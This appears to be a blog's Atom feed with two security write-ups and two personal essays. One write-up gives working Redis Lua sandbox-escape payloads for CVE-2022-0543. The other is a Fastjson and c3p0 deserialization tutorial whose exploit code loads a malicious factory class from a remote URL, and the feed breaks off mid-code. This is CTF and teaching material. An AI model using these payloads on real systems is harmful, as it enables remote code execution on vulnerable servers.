ef2c98d8f0ec0be915321e216bcf58e496ac903e00f2d6e2eaf1546d6f5db7c6023a19cec3ef3518c8c6e4cf4aaa1c6771551cc178a5fc98db9bf007a0d582dc46c22467e179ae18c57da8f37549d4d60b8d2015f141a34f6ad52f130aa4c7ab33541eddda48b48026cefa956db583bd79ee3243da9403dbbec8537ba813c472163eb15541596021da4ea0851b09745e15a5f3f8548d97aa76d8a954ed57d098789a1d18f4d7b0d9b028d6b7a16afea967e7929d97d9ed07f67118a216c934ddf2b5af695813fb24fe856bd9124fc701db2a821b6d3cdc20172865bc9c1a3c4b59580c641329deaccc0f139d9ebf29dd4e2b22d98a6af330e120f48d1cf47646d266bb30222ea72e6faf740b721278137d1cce1703818227e3e53494337fef7dcf7e278929fe15055d6f0b97b8e1f6a894754bc835c3e6a7bf935778fdf60430ac29417316e37d453badd3758df00488ecc4be3743d09047dfa26343b199f6279731689f1bb5e96dfeba32a188d214019e7f815f1c6b8a2d037dc1fcaa29a96ac343d62d68b89c3b8bdee60af1ddf2339374dc21d7477ac7cbab8afd4f5bf594d56db27b69802d478e7b4a9b551d659d5e292334949d38051699e1f8b19c435a0f0e2f968007b1926712d0ad35e23c0525865c8c2eef53b92227442026133af7564d7fe5c048f326679db1ed71d8ec15642cec7d341ff1da6102494b0c932fba13b61a1fd5de7f56db18ba3a9d44655941c4d1ede6b023eaeb268413bf331d83ce7d8df245030d01802d0cc4ba35109ffd084700051914546c38d9aba285e627c652269cea982809d85f0e6e6e8195c97d4618b84a44c41bc927497c2cc057c61741af3a6327cda7b3134846e12777014943cd6892ed15c0a3f0300296923d392f2470ac2f105ecb7d5438d672d0d7be441b02d8b889a2659ef1ac93fac5d767611e9e4a3465e6022827b834125fb03a0ad1c7c987d105cfd758e5f9fe8f75878387f1c40707e94d53b29e439aa25bf741b89895add1205a5cbd6ac3090e1a5dccae74679e548839c0bf2d800fb63626a809d2df33146af97ad427c40b587e5fc4658a1f0e3df3cb551b3346e30aac60a469f9de19d4a083ca28d026a763c868ce8227336335b26e0876c3e8b752ffdab7b27704e34c63288bfd7127997e86298e3138719be4d4a54c17f5f963643dcfc96d69feccaff9772574caf1b10705dd23967b7176c934cbd185ed4158bfdab305e70740f70b02d5defeb9ed6895044dc1ad84f559fd902cdc3ea1423fad01ba534e8827ba2afa85cec6743a56d336867d9c2c1b037b5f7ef3235dc34e6c7b5d47885a7786baf8e8c577bef28ccf7f873705ae5998071622ec57b9bf2ff0cdd51cbbff94a9c934b4c0182c6863610c8f0820191c514647b30e0fab03ccd4bb64eb53951e3d56c499ede4efbcbe843df63b780b28e6024d17b03d98b56ad2cb2edab69d2b7fa40f34d7565657a212d0969294c54564be15dd9693437873ac45aa091d4b3b17e87dff90f274782fad871f46116ae4ad68db1a1bea75f7a78144f3d00fd7ba1317d459e5c12b52e182178902fbbe86bf69276d1eb9a9c0b60c55cbc6e93b6641272e2565751bbe32ba9b5bed56db23b1262cf31b05e2c3494d36b788d9fcac6f6ea4c612376aa05dcbad38f80718b33c258fada07fd95946f4375c4f4e1f8f5748fdfd43b4a953f6de7aee4f49a176366924f7449018b689780c75d8d1c8c8ba5049b26e2cdc7287e774feb1092fd6962c39f67d7d2fbe47c1f8712a1bdd7142ded3a59725f07efe9a0a20195c40fc4e3a4bbceda2b1136c20c68a16a9eea413884a0db272d51e939513278986838036537a80efcafcfaf53fb9b17c1e38348dad323a86bc345c9a016023c16f605d0d50546300afb40ccdeb3b1c745af4a7742b5402dded3b67d0c0428273549152354dbc041cd426f28ce248a12840d519e4cad49a69543f4641023d6cc72c67d48391de6192a08041da5bda00b17afd0e0175b71f95a3719987066c94fe4e3dcdd37fbf0cc817e1abded7e9b221cff00bfb1ab33c68b29ca7dc66e93ae7af3f98c89deb50ca06002fb5bd14dad11ba6f49d24d09c1423d9c617a</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    <category term="Essay" scheme="https://iloli.moe/categories/Essay/"/>
    
    
    <category term="Essay" scheme="https://iloli.moe/tags/Essay/"/>
    
  </entry>
  
  <entry>
    <title>Breaking Out of the Sandbox to Execute Commands via the Redis Lua Engine</title>
    <link href="https://iloli.moe/2026/03/20/breaking-out-of-the-sandbox-to-execute-commands-via-the-redis-lua-engine/"/>
    <id>https://iloli.moe/2026/03/20/breaking-out-of-the-sandbox-to-execute-commands-via-the-redis-lua-engine/</id>
    <published>2026-03-20T11:16:41.000Z</published>
    <updated>2026-05-07T04:50:46.607Z</updated>
    
    <content type="html"><![CDATA[<p>不是什么很新的东西，但最近在出题的时候想要恶心一下别人，简单重温一下，思路很简单，我们都知道 Redis 是一门非关系型数据库，主要为键值存储，但是很少有人知道 Lua 还能用来执行一些 Lua 脚本代码</p><p><img src="https://bfs.iloli.moe/blog/20260320191907430.png" alt="image-20260320191847086"></p><blockquote><p>官方仓库：<a href="https://github.com/redis/redis">https://github.com/redis/redis</a></p></blockquote><p>常见的指令有这几个</p><ul><li>EVAL，直接执行 Lua 脚本</li><li>EVALSHA，根据脚本的 SHA1 教研来执行</li><li>SCRIPT LOAD，托管脚本，将脚本加载到 Redis 缓存中，但不立即执行，返回 SHA1</li><li>SCRIPT EXISTS sha1，检查某个 SHA1 对应的脚本是否已经在缓存里</li><li>SCRIPT FLUSH，清空所有的 Lua 脚本缓存（但是，在生产环境中执行这个会直接导致所有依赖 EVALSHA 的业务瞬间崩溃）</li><li>SCRIPT KILL，杀死正在运行的长耗时脚本</li><li>redis.call()</li><li>redis.pcall()</li></ul><p>正常来说，我们可以这样子执行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">eval</span> <span class="string">&#x27;任意表达式&#x27;</span> 0</span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260320192446689.png" alt="image-20260320192446529"></p><p>系统就会解析 lua 代码来执行任意代码，比如我们可以尝试一下 lua 命令执行（这里默认是禁用了 <code>os</code> 和 <code>io</code> 库），所以执行 <code>eval &#39;return io.popen(&quot;whoami;id&quot;)&#39; 0</code>，会报错</p><p><img src="https://bfs.iloli.moe/blog/20260320192646690.png" alt="image-20260320192646588"></p><p>那么有没有啥版本可以绕过这个限制呢？答案是利用 <code>CVE-2022-0543</code> 这个沙盒逃逸漏洞，简单来说，它的根源不在于 Redis 本身，而在于 Debian 及 Ubuntu 等发行版在打包 Redis 时，为了减小体积，将 Lua 解释器作为一个<strong>动态链接库</strong>（Shared Library）加载，这导致了一个致命问题，在正常的 Redis Lua 沙箱中，原本应该被禁用的 <code>package</code> 库（它可以加载外部库并执行代码）在某些环境下是<strong>可用</strong>的</p><p>先来看看利用的 exp</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">EVAL <span class="string">&#x27;local os_execute = package.loadlib(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;, &quot;system&quot;); os_execute(&quot;whoami &gt; /tmp/out&quot;);&#x27;</span> 0</span><br></pre></td></tr></table></figure><p>可以借助 loadlib 函数来动态加载链接库，例如加载 <code>/usr/lib/x86_64-linux-gnu/liblua5.1.so.0</code> 里面的 <code>luaopen_io</code> 函数，从而获得 <code>io</code> 库来执行任意命令</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">local</span> io_l <span class="operator">=</span> package.loadlib(&quot;/usr/lib/x86_64-linux-gnu/liblua5.1.so.0&quot;, &quot;luaopen_io&quot;);</span><br><span class="line"><span class="keyword">local</span> io <span class="operator">=</span> io_l();</span><br><span class="line"><span class="keyword">local</span> f <span class="operator">=</span> io.popen(&quot;id&quot;, &quot;r&quot;);</span><br><span class="line"><span class="keyword">local</span> res <span class="operator">=</span> f:read(&quot;*a&quot;);</span><br><span class="line">f:<span class="keyword">close</span>();</span><br><span class="line"><span class="keyword">return</span> res</span><br></pre></td></tr></table></figure><p>这样子就能达到 RCE 的目的，我们启动一个 Debian 11，然后装上 Redis，早期的 Redis Server是受到影响的，启动环境复现</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">docker pull docker.m.daocloud.io/library/debian:11</span><br><span class="line"></span><br><span class="line">apt update</span><br><span class="line">apt install -y redis-server</span><br><span class="line"></span><br><span class="line">find /lib -name &quot;libc.so.6&quot;</span><br><span class="line"></span><br><span class="line">redis-server --daemonize yes</span><br></pre></td></tr></table></figure><p><img src="https://bfs.iloli.moe/blog/20260320225730161.png" alt="image-20260320225724438"></p><p>接着执行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">eval &#x27;local os_execute = package.loadlib(&quot;/lib/aarch64-linux-gnu/libc.so.6&quot;, &quot;system&quot;); os_execute(&quot;whoami;id&quot;); return 1&#x27; 0</span><br></pre></td></tr></table></figure><p>如果用高版本 Redis 执行则会显示</p><p><img src="https://bfs.iloli.moe/blog/20260320223135876.png" alt="image-20260320223135514"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;不是什么很新的东西，但最近在出题的时候想要恶心一下别人，简单重温一下，思路很简单，我们都知道 Redis 是一门非关系型数据库，主要为键值存储，但是很少有人知道 Lua 还能用来执行一些 Lua 脚本代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bfs.iloli</summary>
      
    
    
    
    <category term="Research" scheme="https://iloli.moe/categories/Research/"/>
    
    
    <category term="CTF" scheme="https://iloli.moe/tags/CTF/"/>
    
    <category term="Security" scheme="https://iloli.moe/tags/Security/"/>
    
    <category term="Reverse" scheme="https://iloli.moe/tags/Reverse/"/>
    
  </entry>
  
  <entry>
    <title>股灾了</title>
    <link href="https://iloli.moe/2026/03/09/essay/%E8%82%A1%E7%81%BE%E4%BA%86/"/>
    <id>https://iloli.moe/2026/03/09/essay/%E8%82%A1%E7%81%BE%E4%BA%86/</id>
    <published>2026-03-09T02:24:05.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<p>币圈 + 大A 双重暴击，本月流失 2000 人民币</p><p><img src="https://bfs.iloli.moe/blog/20260309102701954.png" alt="image-20260309102701186"></p><p>来分析下行情吧，币圈行情下跌多半是美以伊冲突导致的，从 2026 年 2 月 28 号发动袭击以来，就一直处在低位震荡趋势</p><p>至于上证，上周 AI 给我回了一点血，今天接着暴跌，考虑到深圳对小龙虾的新政策，感觉这也在原因之中</p><p>目前币圈还处于亏损状态，盈亏 -10000 人民币，大 A 处于盈利状态 6%</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;币圈 + 大A 双重暴击，本月流失 2000 人民币&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bfs.iloli.moe/blog/20260309102701954.png&quot; alt=&quot;image-20260309102701186&quot;&gt;&lt;/p&gt;
&lt;p&gt;来分析下行</summary>
      
    
    
    
    <category term="Essay" scheme="https://iloli.moe/categories/Essay/"/>
    
    
    <category term="Essay" scheme="https://iloli.moe/tags/Essay/"/>
    
  </entry>
  
  <entry>
    <title>来说说我为什么考研失败</title>
    <link href="https://iloli.moe/2026/03/08/essay/%E6%9D%A5%E8%AF%B4%E8%AF%B4%E6%88%91%E4%B8%BA%E4%BB%80%E4%B9%88%E8%80%83%E7%A0%94%E5%A4%B1%E8%B4%A5/"/>
    <id>https://iloli.moe/2026/03/08/essay/%E6%9D%A5%E8%AF%B4%E8%AF%B4%E6%88%91%E4%B8%BA%E4%BB%80%E4%B9%88%E8%80%83%E7%A0%94%E5%A4%B1%E8%B4%A5/</id>
    <published>2026-03-08T08:41:00.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<p>2023 年护网期间，认识了一个研究生来参加护网的，那时候就在想，如果能考个研究生那该多好，于是在 23 年下旬开始购买考研书籍并开始复习，我整体的一个考研时间轴如下</p><ul><li>2023&#x2F;11，购入考研王道408+张宇+田静组合拳</li><li>2024&#x2F;01-2024&#x2F;08，开始备考</li><li>2024&#x2F;09-2024&#x2F;12，放弃+摆烂</li></ul><p>这就是我研究生一战，为什么摆烂了呢？<strong>说实话还是因为外界原因干扰的</strong>，考研期间我所考的科目是 <code>11408</code>，一共需要考以下这几门科目</p><ul><li>《高等数学》</li><li>《线性代数》</li><li>《概率论与数理统计》</li><li>《英语》</li><li>《计算机操作系统》</li><li>《计算机组成原理》</li><li>《计算机网络基础》</li><li>《计算机数据结构》</li><li>《马克思主义基本原理概论》</li><li>《毛泽东思想和中国特色社会主义理论体系概论》</li><li>《中国近现代史纲要》</li><li>《思想道德修养与法律基础》</li><li>《形势与政策以及当代世界经济与政治》</li></ul><p>我本科就读的是软件工程，算半个科班吧，其中有些科目必须从 0 开始学起，所以还是耗了一段时间的，再加上我是直接从中专跳到本科（没有读过大专），数学这一块还是有一点困难的，还有就是我报名的学校是京区，也就是大家口中的 A 区，考虑到压分 + 自身不努力因数，这是我摆烂的第一个理由，第二个就是在考研期间我打了很多比赛 + 外接了一些项目和出题的活，不能静下心来，那时候的我已经是个非常严重的 ADHD 患者，每天就是躺在床上睡不着的那种，过的日子十分焦虑 + 煎熬，于是到了 2024 年 12 月考研这天，不出意外，没考上。</p><p>事到如今，你问我后不后悔，我的回答是 <strong>“不后悔”</strong>，因为这一切都是我自己作的，自己犯的错就要自己吃下去，当然我也总结反思了一下，为什么会这样子，说到底还是因为这两个原因</p><ol><li>不能沉下心来专心做一件事</li><li>被外界干扰的太厉害</li></ol><p>可能有人会问了，那你考研后都在干些什么？说实话整个 25 年上半年，基本上没啥动作，陪学弟们打了几场比赛（<del>旅游</del>）后，就在家里面接着做项目了，期间接了一些外包的活，然后面试了奇安信深圳安服（过了没去），没去的原因还是因为自己考研期间很少接触安服这块 + 深圳租房问题，怕去了跟不上公司的强度</p><p><img src="https://bfs.iloli.moe/blog/20260308172012124.png" alt="image-20260308172006260"></p><p>不过好在面过了后给了我一定的信心，于是整个 25 年期间，我在没工作的情况下，做的基本上都是红队的活，至于在干些什么，这里就不说了</p><p>那我接下来还会再考吗？考虑到将来就业 + 研究生烂大街情况，评价为 <strong>可能会再考</strong>，但是是一种不确定因素，因为考研并不限制年龄报名，这意味着我将来有工作了也可以考一个玩玩</p><p><strong>愿读到此篇文章的你，前程似锦。</strong></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;2023 年护网期间，认识了一个研究生来参加护网的，那时候就在想，如果能考个研究生那该多好，于是在 23 年下旬开始购买考研书籍并开始复习，我整体的一个考研时间轴如下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2023&amp;#x2F;11，购入考研王道408+张宇+田静组合拳&lt;/li&gt;
&lt;li</summary>
      
    
    
    
    <category term="Essay" scheme="https://iloli.moe/categories/Essay/"/>
    
    
    <category term="Essay" scheme="https://iloli.moe/tags/Essay/"/>
    
  </entry>
  
  <entry>
    <title>Using c3p0 for secondary deserialization in Fastjson to inject a Behinder memory horse in a non-internet environment</title>
    <link href="https://iloli.moe/2026/03/07/using-c3p0-for-secondary-deserialization-in-fastjson-to-inject-a-behinder-memory-horse-in-a-non-internet-environment/"/>
    <id>https://iloli.moe/2026/03/07/using-c3p0-for-secondary-deserialization-in-fastjson-to-inject-a-behinder-memory-horse-in-a-non-internet-environment/</id>
    <published>2026-03-07T09:29:01.000Z</published>
    <updated>2026-05-07T04:50:46.611Z</updated>
    
    <content type="html"><![CDATA[<p>水一篇文章，思路很常见，不是什么很新的东西，没啥新的技巧，起因是在去年出 CTF 题目时想到的一个考点，题目是一道 spring + fastjson，但是忘记给白名单类了+题目不出网，并且是高版本 jdk，所以打起来会非常吃力，就想着能不能加一个 c3p0 来救一下场，于是就有了这篇文章</p><p><img src="https://bfs.iloli.moe/blog/20260307200731171.jpg" alt="IceCliffs"></p><blockquote><p>友情提示：相关技术已经过时，本文所涉及到的知识仅供参考，不具备任何攻击实战利用姿势</p></blockquote><p>相关依赖，需要手动开启 <code>autoType</code></p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.mchange<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>c3p0<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>0.9.5.2<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.alibaba<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>fastjson<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.2.83<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>关键路由</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> &#123;</span><br><span class="line">    ParserConfig.getGlobalInstance().setAutoTypeSupport(<span class="literal">true</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@PostMapping(&quot;/&quot;)</span></span><br><span class="line"><span class="keyword">public</span> Object <span class="title function_">parse</span><span class="params">(<span class="meta">@RequestBody</span> String body)</span> &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> JSON.parse(body);</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;error: &quot;</span> + e.getMessage();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>Fastjson 就不用说了，大家懂得都懂，主要是 c3p0，这个在以前做 Java 课设的时候经常用到，那时候就在想有没有什么漏洞，一般来说 c3p0 作为 Java 生态中老牌的数据库连接池，在很多人的初学阶段都是 <code>ComboPooledDataSource</code> 直接梭哈，但是一般在搞安全的时候，可以通过 <code>Reference</code> 序列化机制允许通过远程地址加载资源，主要就是利用 <code>com.mchange.v2.c3p0.JndiRefForwardingDataSource</code>，如果你能控制它的 <code>jndiName</code> 属性，就能触发一个标准的 JNDI 注入，打法无非就这几种</p><ul><li>JNDI</li><li>十六进制序列化字节加载器</li><li>URLClassLoader 远程类加载</li></ul><h3 id="URLClassLoader-远程类加载"><a href="#URLClassLoader-远程类加载" class="headerlink" title="URLClassLoader 远程类加载"></a>URLClassLoader 远程类加载</h3><p>先来说说这个东西，调用链 &#96;&#96;com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase<code>的</code>writeObject<code>方法。该方法会尝试序列化</code>connectionPoolDataSource<code>属性，由于该属性通常为不可序列化的接口实现，程序会捕获</code>NotSerializableException<code>并进入</code>catch&#96; 块</p><p><img src="https://bfs.iloli.moe/blog/20260307175306126.png" alt="image-20260307174714099"></p><p>在 <code>catch</code> 块中，程序调用 <code>ReferenceIndirector#indirectForm</code>。该方法通过 <code>getReference()</code> 获取对象的引用信息，并封装成一个 <code>ReferenceSerialized</code> 对象进行替代序列化</p><p><img src="https://bfs.iloli.moe/blog/20260307174758039.png" alt="image-20260307174757765"></p><p>当目标机器触发 <code>readObject</code> 反序列化时，会调用 <code>ReferenceSerialized#getObject</code> 方法。该方法进一步调用 <code>com.mchange.v2.naming.ReferenceableUtils#referenceToObject</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SerializableUtils.toByteArray(<span class="built_in">this</span>.connectionPoolDataSource);</span><br><span class="line">oos.writeObject(<span class="built_in">this</span>.connectionPoolDataSource);</span><br></pre></td></tr></table></figure><p>在 <code>referenceToObject</code> 的第 36-52 行逻辑中，C3P0 会提取 <code>Reference</code> 中的 <code>factoryClassLocation</code>，如果该地址可控，程序将实例化一个 <strong><code>URLClassLoader</code></strong> 从远程地址加载并实例化（<code>newInstance</code>）恶意工厂类，从而导致任意代码执行。</p><p><img src="https://bfs.iloli.moe/blog/20260307175937198.png" alt="image-20260307175907094"></p><p>我们接着跟进，会发现 <code>com.mchange.v2.naming.ReferenceIndirector#referenceToObject</code> 方法，在 <code>36#52L</code> 这几行，可以通过 URLClassLoader 实力化远程类，从而造成代码执行</p><p><img src="https://bfs.iloli.moe/blog/20260307180957943.png" alt="image-20260307180957626"></p><p>也就是说由于目标类不在本地，C3P0 使用 <code>URLClassLoader</code> 根据 <code>factoryClassLocation</code> 提供的远程 URL 去下载并实例化恶意工厂类，有了思路，就可以编写 exp 了</p><blockquote><p>Gadget: </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">PoolBackedDataSourceBase#readObject()</span><br><span class="line">  -&gt; ReferenceSerialized#getObject()</span><br><span class="line">    -&gt; ReferenceableUtils#referenceToObject()</span><br><span class="line">        -&gt; Class#forName(className, true, urlClassLoader)</span><br><span class="line">            -&gt; ObjectFactory#getObjectInstance()</span><br></pre></td></tr></table></figure></blockquote><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Calculator.java</span></span><br><span class="line"><span class="keyword">import</span> javax.naming.Context;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Name;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> javax.naming.spi.ObjectFactory;</span><br><span class="line"><span class="keyword">import</span> java.util.Hashtable;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Calculator</span> <span class="keyword">implements</span> <span class="title class_">ObjectFactory</span> &#123;</span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Runtime.getRuntime().exec(<span class="string">&quot;open -a Calculator.app&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">getObjectInstance</span><span class="params">(Object obj, Name name, Context nameCtx, Hashtable&lt;?, ?&gt; environment)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>exp</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// urlClassLoader.java</span></span><br><span class="line"><span class="keyword">package</span> com.java_c3p0;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;</span><br><span class="line"><span class="keyword">import</span> javax.naming.NamingException;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Reference;</span><br><span class="line"><span class="keyword">import</span> javax.naming.Referenceable;</span><br><span class="line"><span class="keyword">import</span> javax.sql.ConnectionPoolDataSource;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.sql.SQLException;</span><br><span class="line"><span class="keyword">import</span> java.util.logging.Logger;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">urlClassLoader</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">MyLoader</span> <span class="keyword">implements</span> <span class="title class_">ConnectionPoolDataSource</span>, Referenceable &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> Reference <span class="title function_">getReference</span><span class="params">()</span> <span class="keyword">throws</span> NamingException &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Reference</span>(<span class="string">&quot;Calculator&quot;</span>, <span class="string">&quot;Calculator&quot;</span>, <span class="string">&quot;http://127.0.0.1:89/&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="meta">@Override</span> <span class="keyword">public</span> PrintWriter <span class="title function_">getLogWriter</span><span class="params">()</span> &#123; <span class="keyword">return</span> <span class="literal">null</span>; &#125;</span><br><span class="line">        <span class="meta">@Override</span> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLogWriter</span><span class="params">(PrintWriter out)</span> <span class="keyword">throws</span> SQLException &#123;&#125;</span><br><span class="line">        <span class="meta">@Override</span> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setLoginTimeout</span><span class="params">(<span class="type">int</span> seconds)</span> &#123;&#125;</span><br><span class="line">        <span class="meta">@Override</span> <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getLoginTimeout</span><span class="params">()</span> &#123; <span class="keyword">return</span> <span class="number">0</span>; &#125;</span><br><span class="line">        <span class="meta">@Override</span> <span class="keyword">public</span> Logger <span class="title function_">getParentLogger</span><span class="params">()</span> &#123; <span class="keyword">return</span> <span class="literal">null</span>; &#125;</span><br><span class="line">        <span class="meta">@Override</span> <span class="keyword">public</span> 